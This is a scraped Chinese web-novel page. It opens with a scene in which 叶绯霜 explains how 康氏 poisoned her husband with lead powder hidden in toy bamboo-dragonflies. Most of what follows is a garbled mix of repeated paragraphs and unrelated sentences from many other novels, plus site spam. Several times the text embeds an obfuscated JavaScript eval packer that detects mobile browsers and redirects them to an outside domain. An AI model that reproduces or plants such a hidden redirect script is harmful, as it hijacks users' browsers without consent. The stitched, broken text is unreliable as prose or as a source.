一是因为大夫们在,二是因为谁也想不到有人会胆大到把证据藏在受害者房间里。” 康氏不禁鼓起掌来,赞道:“霜霜,你若是个男儿,必然也能成为一位青天大老爷。” “五婶谬赞。” 前世陈宴给她讲过那么多案子,她有了自己的判断力也不奇怪。 叶绯霜继续说:“而且五叔也不是病了,他其实是**了。” 康氏笑吟吟的,不否认:“你这都看出来了?” “铅粉**,对吧?我有一次回府时撞见了在花园里玩竹蜻蜓的茹儿,哦我当时还分给她一串糖葫芦。当时茹儿的身上、手上沾了许多土,而郑府花园一向干净整洁,道边的花树也都不染纤尘。我猜她可能去了墙根、林子深处那些一般没人打扫的地方。 我回去洗手时,发现手上沾了些白色粉末,因为太少了,当时我无法判断出这是什么。直到五叔生病,我注意到他齿间有铅线,便猜到了那些白色的粉末是铅粉,从竹蜻蜓里掉出来的。 五叔管得极严,房中的每一笔支出都要过问,最重要的是不让五房的内眷和外人接触,所以您让外边的人把铅粉装进竹蜻蜓的空杆里,就能越过墙头递进来了。 茹儿年龄小,爱玩,就由她去拿竹蜻蜓,也不会惹人怀疑。” 康氏再次鼓起掌来:“你说的都对,事情的确就是这样的。” “五婶恨五叔吗?” “当然恨。”康氏磨了磨牙。 “因为他纳妾?” “是啊。把一个个好好的姑娘掳来,又不好好对她们,好色又薄情的臭男人,被我阉了也是活该!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 害了,那嫌疑最大的就是夫或妻。如果一个人是在密闭的房间里被害的,那嫌疑最大的就是第一个进入房间的人。这两点,五婶您都占了。 那晚下人们的尖叫声惊动了整个院子,五婶就是第一个赶到的,不是吗?其实说赶到也不对,您就根本没走,只是把那层装扮脱下来了而已。 五房闹鬼后,全府又进行了一次大搜查,但是没有找出证据。五婶应该就把那套行头藏在了五叔的房间里。毕竟那天,五叔的房间是唯一没有被搜查的。 一是因为大夫们在,二是因为谁也想不到有人会胆大到把证据藏在受害者房间里。 康氏不禁鼓起掌来,赞道:“霜霜,你若是个男儿,必然也能成为一位青天大老爷。 “五婶谬赞。 前世陈宴给她讲过那么多案子,她有了自己的判断力也不奇怪。 叶绯霜继续说:“而且五叔也不是病了,他其实是**了。 康氏笑吟吟的,不否认:“你这都看出来了? “铅粉**,对吧?我有一次回府时撞见了在花园里玩竹蜻蜓的茹儿,哦我当时还分给她一串糖葫芦。当时茹儿的身上、手上沾了许多土,而郑府花园一向干净整洁,道边的花树也都不染纤尘。我猜她可能去了墙根、林子深处那些一般没人打扫的地方。 我回去洗手时,发现手上沾了些白色粉末,因为太少了,当时我无法判断出这是什么。直到五叔生病,我注意到他齿间有铅线,便猜到了那些白色的粉末是铅粉,从竹蜻蜓里掉出来的。 五叔管得极严,房中的每一笔支出都要过问,最重要的是不让五房的内眷和外人接触,所以您让外边的人把铅粉装进竹蜻蜓的空杆里,就能越过墙头递进来了。 茹儿年龄小,爱玩,就由她去拿竹蜻蜓,也不会惹人怀疑。 康氏再次鼓起掌来:“你说的都对,事情的确就是这样的。 “五婶恨五叔吗? “当然恨。康氏磨了磨牙。 “因为他纳妾? “是啊。把一个个好好的姑娘掳来,又不好好对她们,好色又薄情的臭男人,被我阉了也是活该! 如果喜 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此刻方言手上不在是单独的两只翅膀,而是连在了一起,也不像先前那样泛着金属光芒,而是呈现出了半透明状态。 表面上一副浑不在意的样子,可实际上,鬼差却并不知道,吴池其中心中也早就已经焦躁的不行了。 听到关‘门’的声音,她才搜一下爬起来打开电脑。原本以为又要失望,结果却看见阿紫的头像在一闪一闪。 姬澄澈右臂顿感酸麻难当,圣龙之心几乎要从嗓子眼里被打出来,一口浊气堵住喉咙异常难受,胎元神刀轻飘飘被荡开一旁。 这一滴血最初一半蓝一半红,但是在白色雾气的强力催动下在缓缓的融合,红色的一半显然更有力量,最后渐渐的吞没了蓝色的一半,变成了一滴鲜红的血。 落婴的神情无比的落寞,三千无畏战士亡魂都已经消散,他们这些守护着亡魂的妖宠也就失去了留在破虚山的必要。 再说,最近红椒心情不好,香荽等人便借机拉着她玩闹,以开解宽慰她。 “最新消息,匠忍村被不知名势力攻陷了。”猿飞日斩沉声说道。 蒙代丽对比起楚无礼来,楚无礼因为早早使用天地灵气的原因,他的经脉比常人宽大太多,又经常被天地灵气所伤,灌体的方式早已承受过,所以他在经历元力灌体这个令修真者谈之色变的环节时算不上太难,轻松地晋升。 楚无礼是剑修,他擅长的不是防御,而是进攻。在面对万史荷攻击的时候,他想的不是防御好自身,而是以攻代守,用犀利的进攻来化解万史荷的攻击。 “我还有事请教。”叶辰紧跟着追了出来,可人王那厮,已眨眼跑的没影了。 几日下来,葬灭在叶辰箭的厄魔大帝,已有几十尊之多,不乏巅峰大帝。 然而那些古家族的人,却不一定会选择忽视他们,以他们一贯丧心病狂的做法,凡是可能威胁到赵铁柱的,他们都不会放弃,甚至为了达成目的,基本上都是不折手段的。 我冤枉了这些看似丑陋的大脸猫,原来它们出现在鬣狗身后,并非是狼狈为奸,而是为了帮助我。 这一夜,他也并未闲着 而且目标皆是很明确一头头妖兽被灭。 汉克斯当然明白赵铁柱的意思就是担心等赵铁柱和汉克斯走了之后尼加诺又故技重施阻止这边的病人去格拉地区。 本想参照它们将来会长成一眼望去就令人生畏的大花豹的样子给它们起一个比较拉风点的名字比如说火螭、玄龙、金猊之类的。 可是电话那边的张扬不知道卢正义的脾性更看不到他的动作所以也没着急继续说。 于是她在和毒卫打斗的时候尽可能的往苏槿夕身边靠尽可能帮苏槿夕多斩杀几个毒卫。 当我冲出湿林后大片的乌云从天边浩浩荡荡的杀了过来它们将太阳吞进了肚中顿时整个天幕变得灰蒙蒙的。 跟大家推脱了一番江栖雁这才带着**去了江枫的房间进来以后江枫已经穿好了衣服然后在房间里活动了起来。 如果不是洛止盈在那边为非作歹那件事确实是可以彻底隐瞒下去的。 “九儿我这辈子除了你谁都不要别离开我好吗?”这是他刚才还未说完的话这下全部说出来聂判心底大石头才彻底落地。 “还是老样子后天青青团队先来我问过了如果他们不行才会去找更厉害的出手。”杨长风答道。 “老大好像碰上高手了!你上哪惹来的?”心里默默计算了一回袁承旭自认无法在这么短时间里破解同级智能机。 就连青云上人这等执掌仙门一宗的化神期大能都将身后事以及宗主之位传给**人然后壮士一去不复返。 苏迷仿佛置身于不知名的空间里 海里炖叹了一口气:“在这之前我们经常在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202214|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教学里毁坏学校建材后勤部那些人没少埋怨我们。 沉楼一脸的羞愤手不住的指着圣王城指的同时还微微颤抖简直把一个失去好友信任的可怜人演活了。 阿国勉强挤出笑意看着这几个不像是人的人心里暗暗怜惜、同情。 但经过**强 这件事,叶贤已经知道这些人在走投无路的时候很可能会毫不犹豫的对自己竖起利齿,这也是非常正常的事情,毕竟这些人早都没有忠诚之心了。 她笑的得意、疯狂而拙劣不已,雪白的脸颊上根根肌肉都已变形、扭曲。 “今天连语善都回来了,却还没有雨柔的消息。 小说的域名caixs?(请来才 小说 看最新章节 完整章节)唐向婉形容憔悴,声音中也透着软弱。 说着,裴汉卿继续看向了地图,似乎是在整理深思刚刚自己说出的战略布局,看看哪里有没有什么漏洞。 这事一个处理不好,那可就不是能不能得到那块帝王血玉的事了。 他窜出几步,突然又转过身去一把搂住周含语,扛起她就狂奔出去。 灵药谷世代是精研灵药大道,而对灵力修炼的看重程度反在其次。 林枫抬头瞄了上去,平板电脑上则是一道新闻,新闻鲜红的标题让林枫瞪大了眼睛。 可是有些机会不是你想不想就能够左右的,有些机会仿佛是上天赐予的,无论你要不要你都会面对,想不去面对都不行。 2分钟一过,两队的球员重新上场,湖人的队伍没有丝毫变化,也同凯尔特人一样派上了开场时候的五人,此时比赛将进入最后的倒计时。 周围的众人也都是感受到温度瞬间便是增加了几度,炙热『bi』人,让人不敢直视东方胜,似乎看上一眼都是会灼烧自己的眼睛。 第一卷 第206章 真的厉害 丫鬟禀报说早膳做好了,康氏带叶绯霜去了饭厅。 守孝期间不能食荤,所以桌上都是清粥小菜。 骂也骂完了,**开始思考着怎么搞定这个BOSS,这时他突然想起一个副本,就是那个遥远的绿洲之海市蜃楼里面的仙人掌,**就开始在想,这个副本是不是也是这样的?远远的攻击着他? “轰!”宛若晴空霹雳的一声巨响吓得观战的山贼们一下东倒西歪,摔倒在地。 “创世大神留下的东西!”云过一愣,虽然他知道白‘玉’不平凡,但是没想到它是诸天仙神至尊创世大神留下的东西。 一股钻心的疼痛传来,唐飞脚底四个神化的穴位一下亮起,一道光亮的护体光芒闪烁,唐飞已经一拳轰在了对方的左肩之上。 吴子凡他们火速前冲,成功越过天帅防线,进入平坦的大地,向着轩辕剑掠去。 老人如梦方醒,起身要给郭毅跪下,哭着说,自己是第一天看孙子,要是孙子有个好歹,她也只能跳湖了,她要郭毅跟她回家,一定要让儿子重重感谢。 “相公,我们会一直这样对吗,相公会一直这样爱着幽儿对吗,会只有幽儿一人对吗”上官灵幽轻轻的问着,语气中似乎有着淡淡的乞求,淡淡的担忧,淡淡的期待。 摸了摸鼻子,江辰微眯着眼眸盯紧朱天与朱元两人,下意识间,脚步挪动了一下。 当他感觉不到寒冷的时候,从丹田处的热量便不再往身体各处运输,而是慢慢凝聚在那里,形成了一个虚拟的黄豆般大的内核。双手吸纳的热量不断的若蒸汽般环绕在内核上,然后,慢慢凝聚上上面。 想接下来要去强者如云的龙炎城闯荡,没有一两件奇宝防身怎么能行呢? 祁素素眼睛大了大,不是要**吗,怎么在楼下停住了,不上楼吗? 果然不出陆凡所料,这等诡异的事情,也只有恶魔直播间才能够做到了。 “在连锁结算结束之后,我先将‘真龙皇·利托斯阿齐姆·灾祸’加入手牌。”弥赛亚将自己的卡组打开,将其中一张卡拿了出来之后,再度看了眼黎政手里那些手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202215|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌的威胁等级……基本上没有变化。 在这里休息就要听着这个灯泡的碎碎念,她还不如早点去做任务。 司令部的高级军官们也都没有笨蛋,自然知道这件事情的非凡意义,一旦处理不好,影响会非常的恶劣。 东庄太郎看着那些激愤不已的伤兵们面色阴沉,对着身后挥挥手,那些架在沙袋上的鬼子**手们立即会意,拉动机柄准备射击。 土刺的锋芒连拳头的皮都没刺破,就被拳力崩碎,荒野巨狼王根本来不及躲闪,便被一拳轰入地下,震成肉沫。 然而,还没有等他有所行动,一支冷冰冰的剑就从后面架在了他的脖子上。 既然已经决定与这四皇子赢同合作,对方提出这样的合理建议,丁不二当然不会犹豫拒绝,欣然点头道。 “这里还有其他病人需要看病,而且这里也不是个说话的地方,大家跟我来吧。”许向晴表现的非常镇定,然后把众人带到了一间空的病房。这是许向晴接到王彩云的电话之后开的病房,单人间,里面有简单的家具和家电。 第一卷 第207章 郎才女貌 青岳发现他家公子最近心情不是很好人都瘦了。 具体来说是自打从郑府祭拜完郑老太太他就这样了。 时间就在不知不觉之中渡过了一刻钟一刻钟过后伴随着的刺耳的尖锐之声这是长矛划过天空发出的声音四杆长矛在天空之中如同四支离弦的利箭。 可是却没有想到这次投军的部队竟然就是齐昱的军队当时只是知道番号17师。 “知道了我会让人处理。”刘伟立即向身后跟着的人分配任务。 将一个世界打碎重塑并不是一件轻松的事不过夏凡在这方面经验已经相当丰富所以即便是麻烦一些但是一切却都在有条不紊的进行着。 “无忌诸神塔开启的时候有众多顶级大宗门过去。你是七品丹帝资质又非常好 “好意心领了这件事让我自己来担心就行。”顾七说着再次扬起右手。 本来的两名稀有英雄现在被李炜委任不断的运着李家的黄金没有和李炜一起的返回。 这件事在邵震心里到底也是起了波澜的他回想起自己当初在上海也见过她哭那种痛彻心扉那种真情流露邵震没有什么至爱亲朋却也能深刻体会到其中的情义。 “邵震再端一杯咖啡来不用放糖。”齐昱低头都感觉有点晕。 而在许静的命令下所有人全部都迅速退开!场中立即变得空旷只余下那三人!弥真和深雨也这种战斗二人压根就无法参与不过好在对绿的实力颇有信心。///\\\也是早早地退开。 也正是因着这样唐贵谊才有寂寂的真正的去思考当年他的四位叔伯的死亡与这十位兄弟的死亡倒底是谁对谁错? “王大夫我家公子身体如何?”那大夫才坐下石见就迫不及待地追问。 一个绿衣弟子上的前来说道:“长老吕长老在二楼等候。”童长老一点头朝着楼梯直上了去。 这让猿灵暗暗松了口气这冰焰可以说是他现在能够想到的最佳的火焰如果连冰焰都无法融化冰块那他就要想一想先从这里离开在进行解封。 明修来汇报时裴樱释正噙了一口茶于是那口茶全部喷到了明修的睑上。 “噢在下是刚入纵云峰修行的弟子只因家师凌霄辰有些重要的东西要我亲自面见破杀峰主。”千风说道。 当然那只是思想上的身体方面……该成熟的时候还是会成熟的。 然而就在猿灵即将破开仙甲防御的时候大狗首先从阵法中挣脱出来没有了阵法的束缚敖凡和火鸟已经很难阻止他了。 苏南笑道:“六爷别急他跑不掉的你就等着好消息吧!”说完挂了电话看了一眼地上的苟**摇摇头进入了别墅。 紫蔷顿时低着头手上一挥一道青芒涌动。只见巨大的青斧变得十分巨大在紫蔷的驾驭下一个十分巨大的气壁在周围形成。指尖微动紫蔷口中发出一阵咿咿呀呀的声音似乎在催促着黑龙前行。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 青岳发现他家公子最近心情不是很好人都瘦了。 具体来说是自打从郑府祭拜完郑老太太他就这样了。 时间就在不知不觉之中渡过了一刻钟一刻钟过后伴随着的刺耳的尖锐之声这是长矛划过天空发出的声音四杆长矛在天空之中如同四支离弦的利箭。 可是却没有想到这次投军的部队竟然就是齐昱的军队当时只是知道番号17师。 “知道了我会让人处理。”刘伟立即向身后跟着的人分配任务。 将一个世界打碎重塑并不是一件轻松的事不过夏凡在这方面经验已经相当丰富所以即便是麻烦一些但是一切却都在有条不紊的进行着。 “无忌诸神塔开启的时候有众多顶级大宗门过去。你是七品丹帝资质又非常好我建议你加入一个大宗门这样的话仑采大帝也不敢拿你怎么样。”韩珑收起诸神牌后说道。 “好意心领了这件事让我自己来担心就行。”顾七说着再次扬起右手。 本来的两名稀有英雄现在被李炜委任不断的运着李家的黄金没有和李炜一起的返回。 这件事在邵震心里到底也是起了波澜的他回想起自己当初在上海也见过她哭那种痛彻心扉那种真情流露邵震没有什么至爱亲朋却也能深刻体会到其中的情义。 “邵震再端一杯咖啡来不用放糖。”齐昱低头都感觉有点晕。 而在许静的命令下所有人全部都迅速退开!场中立即变得空旷只余下那三人!弥真和深雨也这种战斗二人压根就无法参与不过好在对绿的实力颇有信心。///\\\也是早早地退开。 也正是因着这样唐贵谊才有寂寂的真正的去思考当年他的四位叔伯的死亡与这十位兄弟的死亡倒底是谁对谁错? “王大夫我家公子身体如何?”那大夫才坐下石见就迫不及待地追问。 一个绿衣弟子上的前来说道:“长老吕长老在二楼等候。”童长老一点头朝着楼梯直上了去。 这让猿灵暗暗松了口气这冰焰可以说是他现在能够想到的最佳的火焰如果连冰焰都无法融化冰块那他就要想一想先从这里离开在进行解封。 明修来汇报时裴樱释正噙了一口茶于是那口茶全部喷到了明修的睑上。 “噢在下是刚入纵云峰修行的弟子只因家师凌霄辰有些重要的东西要我亲自面见破杀峰主。”千风说道。 当然那只是思想上的身体方面……该成熟的时候还是会成熟的。 然而就在猿灵即将破开仙甲防御的时候大狗首先从阵法中挣脱出来没有了阵法的束缚敖凡和火鸟已经很难阻止他了。 苏南笑道:“六爷别急他跑不掉的你就等着好消息吧!”说完挂了电话看了一眼地上的苟**摇摇头进入了别墅。 紫蔷顿时低着头手上一挥一道青芒涌动。只见巨大的青斧变得十分巨大在紫蔷的驾驭下一个十分巨大的气壁在周围形成。指尖微动 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 青岳发现,他家公子最近心情不是很好,人都瘦了。 具体来说,是自打从郑府祭拜完郑老太太,他就这样了。 时间就在不知不觉之中渡过了一刻钟,一刻钟过后伴随着的刺耳的尖锐之声,这是长矛划过天空发出的声音,四杆长矛在天空之中如同四支离弦的利箭。 可是却没有想到这次投军的部队竟然就是齐昱的军队,当时只是知道番号17师。 “知道了,我会让人处理。刘伟立即向身后跟着的人分配任务。 将一个世界打碎重塑并不是一件轻松的事,不过夏凡在这方面经验已经相当丰富,所以即便是麻烦一些,但是一切却都在有条不紊的进行着。 “无忌,诸神塔开启的时候,有众多顶级大宗门过去。你是七品丹帝,资质又非常好,我建议你加入一个大宗门,这样的话,仑采大帝也不敢拿你怎么样。韩珑收起诸神牌后说道。 “好意心领了,这件事让我自己来担心就行。顾七说着,再次扬起右手。 本来的两名稀有英雄现在被李炜委任不断的运着李家的黄金,没有和李炜一起的返回。 这件事在邵震心里到底也是起了波澜的,他回想起自己当初在上海也见过她哭,那种痛彻心扉,那种真情流露,邵震没有什么至爱亲朋却也能深刻体会到其中的情义。 “邵震,再端一杯咖啡来,不用放糖。齐昱低头都感觉有点晕。 而在许静的命令下,所有人全部都迅速退开!场中立即变得空旷只余下那三人!弥真和深雨也这种战斗二人压根就无法参与,不过好在对绿的实力颇有信心。///\\\也是早早地退开。 也正是因着这样,唐贵谊才有寂寂的真正的去思考当年他的四位叔伯的死亡,与这十位兄弟的死亡,倒底是谁对谁错? “王大夫,我家公子身体如何? 一个绿衣弟子上的前来,说道:“长老,吕长老在二楼等候。童长老一点头,朝着楼梯直上了去。 这让猿灵暗暗松了口气,这冰焰可以说是他现在能够想到的最佳的火焰,如果连冰焰都无法融化冰块,那他就要想一想先从这里离开在进行解封。 明修来汇报时,裴樱释正噙了一口茶,于是那口茶全部喷到了明修的睑上。 “噢,在下是刚入纵云峰修行的弟子,只因家师凌霄辰有些重要的东西,要我亲自面见破杀峰主。千风说道。 当然,那只是思想上的,身体方面……该成熟的时候还是会成熟的。 然而就在猿灵即将破开仙甲防御的时候,大狗首先从阵法中挣脱出来,没有了阵法的束缚,敖凡和火鸟已经很难阻止他了。 苏南笑道:“六爷别急,他跑不掉的,你就等着好消息吧!说完挂了电话,看了一眼地上的苟**,摇摇头,进入了别墅。 紫蔷顿时低着头,手上一挥,一道青芒涌动。只见巨大的青斧变得十分巨大,在紫蔷的驾驭下,一个十分巨大的气壁在周围形成。指尖微动,紫蔷口中发出一阵咿咿呀呀的声音,似乎在催促着黑龙前行。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 青岳发现,他家公子最近心情不是很好,人都瘦了。 具体来说,是自打从郑府祭拜完郑老太太,他就这样了。 时间就在不知不觉之中渡过了一刻钟,一刻钟过后伴随着的刺耳的尖锐之声,这是长矛划过天空发出的声音,四杆长矛在天空之中如同四支离弦的利箭。 可是却没有想到这次投军的部队竟然就是齐昱的军队,当时只是知道番号17师。 “知道了,我会让人处理。”刘伟立即向身后跟着的人分配任务。 将一个世界打碎重塑并不是一件轻松的事,不过夏凡在这方面经验已经相当丰富,所以即便是麻烦一些,但是一切却都在有条不紊的进行着。 “无忌,诸神塔开启的时候,有众多顶级大宗门过去。你是七品丹帝,资质又非常好,我建议你加入一个大宗门,这样的话,仑采大帝也不敢拿你怎么样。”韩珑收起诸神牌后说道。 “好意心领了,这件事让我自己来担心就行。”顾七说着,再次扬起右手。 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本来的两名稀有英雄现在被李炜委任不断的运着李家的黄金没有和李炜一起的返回。 这件事在邵震心里到底也是起了波澜的他回想起自己当初在上海也见过她哭那种痛彻心扉那种真情流露邵震没有什么至爱亲朋却也能深刻体会到其中的情义。 “邵震再端一杯咖啡来不用放糖。”齐昱低头都感觉有点晕。 而在许静的命令下所有人全部都迅速退开!场中立即变得空旷只余下那三人!弥真和深雨也这种战斗二人压根就无法参与不过好在对绿的实力颇有信心。///\\\也是早早地退开。 也正是因着这样唐贵谊才有寂寂的真正的去思考当年他的四位叔伯的死亡与这十位兄弟的死亡倒底是谁对谁错? “王大夫我家公子身体如何?”那大夫才坐下石见就迫不及待地追问。 一个绿衣弟子上的前来说道:“长老吕长老在二楼等候。”童长老一点头朝着楼梯直上了去。 这让猿灵暗暗松了口气 明修来汇报时裴樱释正噙了一口茶于是那口茶全部喷到了明修的睑上。 “噢在下是刚入纵云峰修行的弟子只因家师凌霄辰有些重要的东西要我亲自面见破杀峰主。”千风说道。 当然那只是思想上的身体方面……该成熟的时候还是会成熟的。 然而就在猿灵即将破开仙甲防御的时候大狗首先从阵法中挣脱出来没有了阵法的束缚敖凡和火鸟已经很难阻止他了。 苏南笑道:“六爷别急他跑不掉的你就等着好消息吧!”说完挂了电话看了一眼地上的苟**摇摇头进入了别墅。 紫蔷顿时低着头手上一挥一道青芒涌动。只见巨大的青斧变得十分巨大在紫蔷的驾驭下一个十分巨大的气壁在周围形成。指尖微动紫蔷口中发出一阵咿咿呀呀的声音似乎在催促着黑龙前行。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 青岳发现他家公子最近心情不是很好人都瘦了。 具体来说是自打从郑府祭拜完郑老太太他就这样了。 时间就在不知不觉之中渡过了一刻钟一刻钟过后伴随着的刺耳的尖锐之声这是长矛划过天空发出的声音四杆长矛在天空之中如同四支离弦的利箭。 可是却没有想到这次投军的部队竟然就是齐昱的军队当时只是知道番号17师。 “知道了我会让人处理。”刘伟立即向身后跟着的人分配任务。 将一个世界打碎重塑并不是一件轻松的事不过夏凡在这方面经验已经相当丰富所以即便是麻烦一些但是一切却都在有条不紊的进行着。 “无忌诸神塔开启的时候有众多顶级大宗门过去。你是七品丹帝资质又非常好我建议你加入一个大宗门这样的话仑采大帝也不敢拿你怎么样。”韩珑收起诸神牌后说道。 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巨眼圆睁,看着这四周将自己的团团围住的三支军队,鲛贤更是如同做梦,八百年的苦心筹划经营,今朝成功在即使,却倏然破灭,就连这一日新王都未能做到头,心中不甘之情,不由言表。 “少夫人,你还好吗?”拉姆这些天,一直在不离不弃的照顾着她。 若说她身边有什么不安定的因素,那就只有药婆子了。可药婆子被章睿舜囚禁在柴房,除了每半个月给琴明月问次脉,几乎与世隔绝,何来的背叛? 当初为了防止这些人在宫内**,把他们每几人一组,分别羁押在校场,他们的吃食里都动了手脚,根本就没有力气。 门这一开启,露出一个黑黝黝的洞来,人还未进,就有一股腐朽之气从里面冲了出来。味道带有一股浓厚的泥土气,其中更还掺杂着一缕朽木**的沉酸味。 但段一本来心中对何宏就没有什么好感,现在更是不喜,干脆将脸色一撂,转身大步离开了。 孟有才看得心惊,王氏家族最厉害的绝招是什么?无疑就是自爆。 “段可,带我们去看看你制作的新武器吧。”龙冬源故意将武器说是段可做的,也代表着之前的事情翻过一页,现在是新的开始。 中年男人像是已经熟悉自己的路线,就算绕路,也会准时的蹲点在那里。 一年里,钟星月不仅把慕家太爷的医术全部学到了手里,更是能够举一反三了,听说她要离开时,慕家太爷难过了整整一天。 千叶耸肩,并没有打算和沐永隽就此争执,毕竟事实胜于雄辩,到底是不是,进去看看不就一清二楚了吗? 千叶不知道是不是因为练功的人都特别耐寒的缘故,总之即便是池清穿得如此单薄,可千叶从来没有见过他走路弯腰驼背,缩头缩手的模样,大都是如现在一般腰背挺直,仿佛什么都不能压弯他的脊梁般。 最终,除了战家三兄弟,其他人都上了车,朝龙 定北的别墅而去。 楚天阔处于醒着的状态鼻孔里全是她的气息。他当然感受得到她一双目光在他脸上流转。他被盯得如芒在背。 墨千琰眸光愈加深邃带着深深的幽暗已然明白了白陵绝的意思只是微微颔首。 高楼耸立窗外是川流不息的汽车隐约还能听到那汽车的鸣笛声响起。 不得不说这几个月的生活真的很颓废要是可以他不想再过这样的生活。 她曾经给战四少把过脉也曾给他施针驱毒可却竟然丝毫没有发现他的伤。 只可惜权墨对她这种要求根本不会同意他听了她的话以后继续朝前走去。 “眼下公孙瓒的实力还能和他拼一拼且你不是还说他爱护百姓施行仁政吗?”向夏天的回答实在很有说服力。 她抬起眸子看着权墨那双深邃的黑眸仿若一泓深潭般将她吸了进去令人沉醉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229080|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 申无介见他如此便伸手拉了他一下听见“铃铃”的声响这才发现他的手脚都被铁链拴住了。 刘老大目光深深地看了她一眼点了点头立刻联系人将两人带去准备。 林静伊送走了太上皇皇太后凤溪辰便也选择了离开这个世界。 “这一次我一定要亲手杀了你拿回界石空间!”男人眼中全是势在必得之色。 阎卓朗静静的看着裴冉睡着的容颜感受着她的气息此刻尽不愿意挪开自己的眼他恨不得把她放在怀里面一辈子。 而恰巧阎卓朗也在这时扭转过自己的头来眼睛一动不动的盯着裴冉。 “你不过只是我王府里的一个奴婢罢了什么时候你问什么我这个夫人就要回答让开!”冷冷一笑杜云溪毫不客气怒斥道。 在‘一览仙界’唯一与沈翀有仇又能对沈翀造成威胁的。便只有苏工王了。所以天老也对苏工王特别在意。 “我……我有这么说过吗?”李耳看了看眼前这等繁华太平的景象顿时得了健忘症浑然忘记了他曾经信誓旦旦的数落出这位纣王的十大罪状。 当下呢联盟这边没有任何军官觉得这安排有问题。战帅加里瑟斯可是在银松森林战役统筹过十万规模军团调配的指挥个次要方向的协同进攻还能出丑丢大脸不成? 因为死亡骑士的眼睛都是雪亮的 不出意外这个来自瑞士的世界空手道冠军将会是王雷今天比赛的对手。 因此最终卫瑜决定还是莫要与这位表弟太过于亲近免得日后为难。 第一卷 第209章 她的声音 张利一直觉得叶绯霜和一般女子不一样,三年前她在府衙大骂前任知府曹崖的光辉形象让他记忆犹新。 别人都以为那是郑二姑娘,但他知道是面前这位。 “你说什么!”岳银瓶顿时止住了哭泣,难以置信的看着紧抓着她手腕的秦天德。 长春反击的炮火让日军前进的脚步不得不变缓,每个方向十余门炮弹**后,每个方向千余人的后援队立即帮助着将大炮撤往主炮阵。 杨凡简直有些哭笑不得的味道,这年轻人是不是脑子有病?跟在徐彪身边几年,竟然不看好徐彪而看好自己? 今日就在秦天德和老哈前往南土门城剿灭耶律崇的时候,他和吕雄带着八个身手最好的影卫先一步潜入了地牢,找了隐秘的地方躲了起来。 买完东西,就在市场门口,就近找了一家面馆,这次刘妈发火了,谁都没敢抢着结账。 但这些都是潜移默化中的影响,翏鹰他们向狄啸云证求意见只是自然而然的行为,他们心里也没有意识到,自己早将狄啸云当成了这里的领导者。 “我曾经答应过一人,我一定要去见她!”尹渊语气平稳的说道。 假货见到直取自己的手腕,也不敢怠慢,忙往右边跳跃闪避,但仍不忘了用刀尖在邓鸣鹤的手臂上划了一道口子。 最早对中国进行大规模军事侵略的国家是日本,由于它同样属于东方世界,所以在明末就入侵过台湾的荷兰成了第一位。 看此情景,陈之涵开始焦急起来:双方都已经开始交货了,黄处他们怎么还不开始行动? 算来也是,李柏天笼中斗一路走过来,就没有正经打过一场像样的比赛,不是运气好就是对手运气不好,最后还来个偷袭。 自从郭家四个男丁戎装持刀狠狠教训盗徒之后,一举震得村民深深畏惧,不敢再肆无忌惮地胡编乱造“侯门丑事”。 周院长已经年过六十,不过精神面貌却如同壮年,声音浑厚有力,双眼精光四射。 “应该不会骗人,不过为了以防万一,你要时时刻 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尼克斯队本场比赛打的也有些松懈,球队之前在05年12月的赛程较为辛苦,进入06年之后赛程一缓下来球员马上也有些松懈了。 就算是古尔丹,也无法解决这种显然是炼金技术而且还是最近才出现的炼金技术引发的问题。 “刀儿,方正为什么要帮你们呢?怎么说的?”虽然宋霸道直性子,可是好歹做了这么久的族长,没那么傻乎乎的就相信其他家族无缘无故的来帮助自己,各大家族能发展成这样且一直延续,绝对是无利不起早的。 至于在球场边儿上的老王以及在球员队列中的拉沃则是脸色苍白,两腿发软,他们生怕下一刻唐?切尼就会叫出龙金刚和自己的名字,然后通知他们离开训练馆。 暴喝声中,屠刀之上鬼号之声大作,一条条鬼影、一张张面孔、一个个残躯接连涌出,周围三尺地瞬间如鬼蜮。 “你还是不要走了,这座寺庙里所有人都不能活。”苏恒说的很认真,直接拦住了和尚的去路。 赛前,骑士队的主教练迈克??布朗表示自己找到了应付尼克斯队的方法,他显得非常自信。 这是很粗暴简单的道理,王福畴作为州府主官,自然明白这个道理。 吴穷一双罪恶的狗爪子在两个姑娘的纤腰上来回摩挲,嘴角勾起一丝不易察觉的笑容。 “穷苦人家的孩子没吃过糖葫芦,我这糖葫芦就是为他们准备的。”大叔笑了笑,混不在意。 